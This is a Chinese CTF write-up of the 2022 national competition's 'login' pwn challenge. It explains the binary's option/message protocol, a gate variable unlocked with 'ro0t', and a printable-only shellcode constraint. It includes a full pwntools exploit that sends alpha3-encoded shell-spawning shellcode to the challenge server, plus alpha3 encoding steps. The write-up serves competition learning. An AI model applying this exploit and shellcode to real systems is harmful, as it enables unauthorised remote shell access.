-
-
[原创]【ctf2022国赛】login
-
2022-5-30 10:14 12686
-
保护
ida
main
发现就一个init和vuln,然后vuln能够反复执行一个,并且每次执行前都传入一个字符串,然后操作是基于这个字符串的
vuln
发现里面有一个循环,循环什么呢?
检测了一下opt和msg,稍加思考是option和messege两个英文的缩写,也就是选择和信息。
先看option:
发现option那里atoi的v7就是这里的选择,那message呢?
红色箭头处有一个把消息复制到一个名为dest的堆块中,而后面的switch是对这个dest进行操作的
那么我们就可以知道了,option是选择后面的switch,message是指定switch的操作的参数(当然while里卖面内部的细节还规定了写option和message的格式,这里不赘述,下贴一下具体格式):
1 2 3 4 | option:num message:string pd = 'optin:num\nmessage:string\n.....' + '\n\n' ##这个是python脚本的写法,最后俩'\n'是为了停下while循环) |
switch
看到exec,就很高兴了,因为有一个传shellcode的接口
但是别高兴太早,有俩个约束:
(1)方框处要求shellcode必须使用可打印字符
(2)箭头处有个暂时不知道是啥的全局变量必须为1的要求
对于(1),我们使用github上下载的一个叫alpha3的轮子,它能够将shelllcraft转为可视化字符(具体用法贴文末)
对于(2)我们细看get_root函数
这个函数的功能就是把满足exec中的(2),那么我们只需要option:1\nmessage:ro0t\n\n就行了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from pwn import * context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' def z(r): gdb.attach(r) def exp(): ##r=process('./login') r = remote( '101.201.144.12' , 41700 ) pd = 'opt:1\nmsg:ro0t"\n\n\n' ##z(r) r.sendafter( ">>> " ,pd) shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00' pd = 'opt:2\nmsg:' + shellcode + '"' + '\n\n\n\n' ##z(r) r.sendafter( ">>> " ,pd) r.interactive() if __name__ = = '__main__' : exp() |
alpha3用法
alpha3能够把我们的asm字符转换为全是可打印字符,在pwn题中的作用就是来搞isprintf()约束下的shellcode
下载
1 | git clone https: / / github.com / TaQini / alpha3.git |
整合脚本
1 2 3 4 5 | # sc.py from pwn import * context.arch = 'amd64' shellcode = shellcraft.sh() print asm(shellcode) |
使用定向输出到文本
1 | python sc.py > sc |
使用alpha3
1 | python . / alpha3 / ALPHA3.py x64 ascii mixedcase rdx - - input = "sc" |
注意这里的寄存器是因题而异的,比如这道题
是call rdx那就是rdx
参考博客
【CTF题解-0x03】moeCTF2020-partial official write up by arttnba3 | arttnba3's blog
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法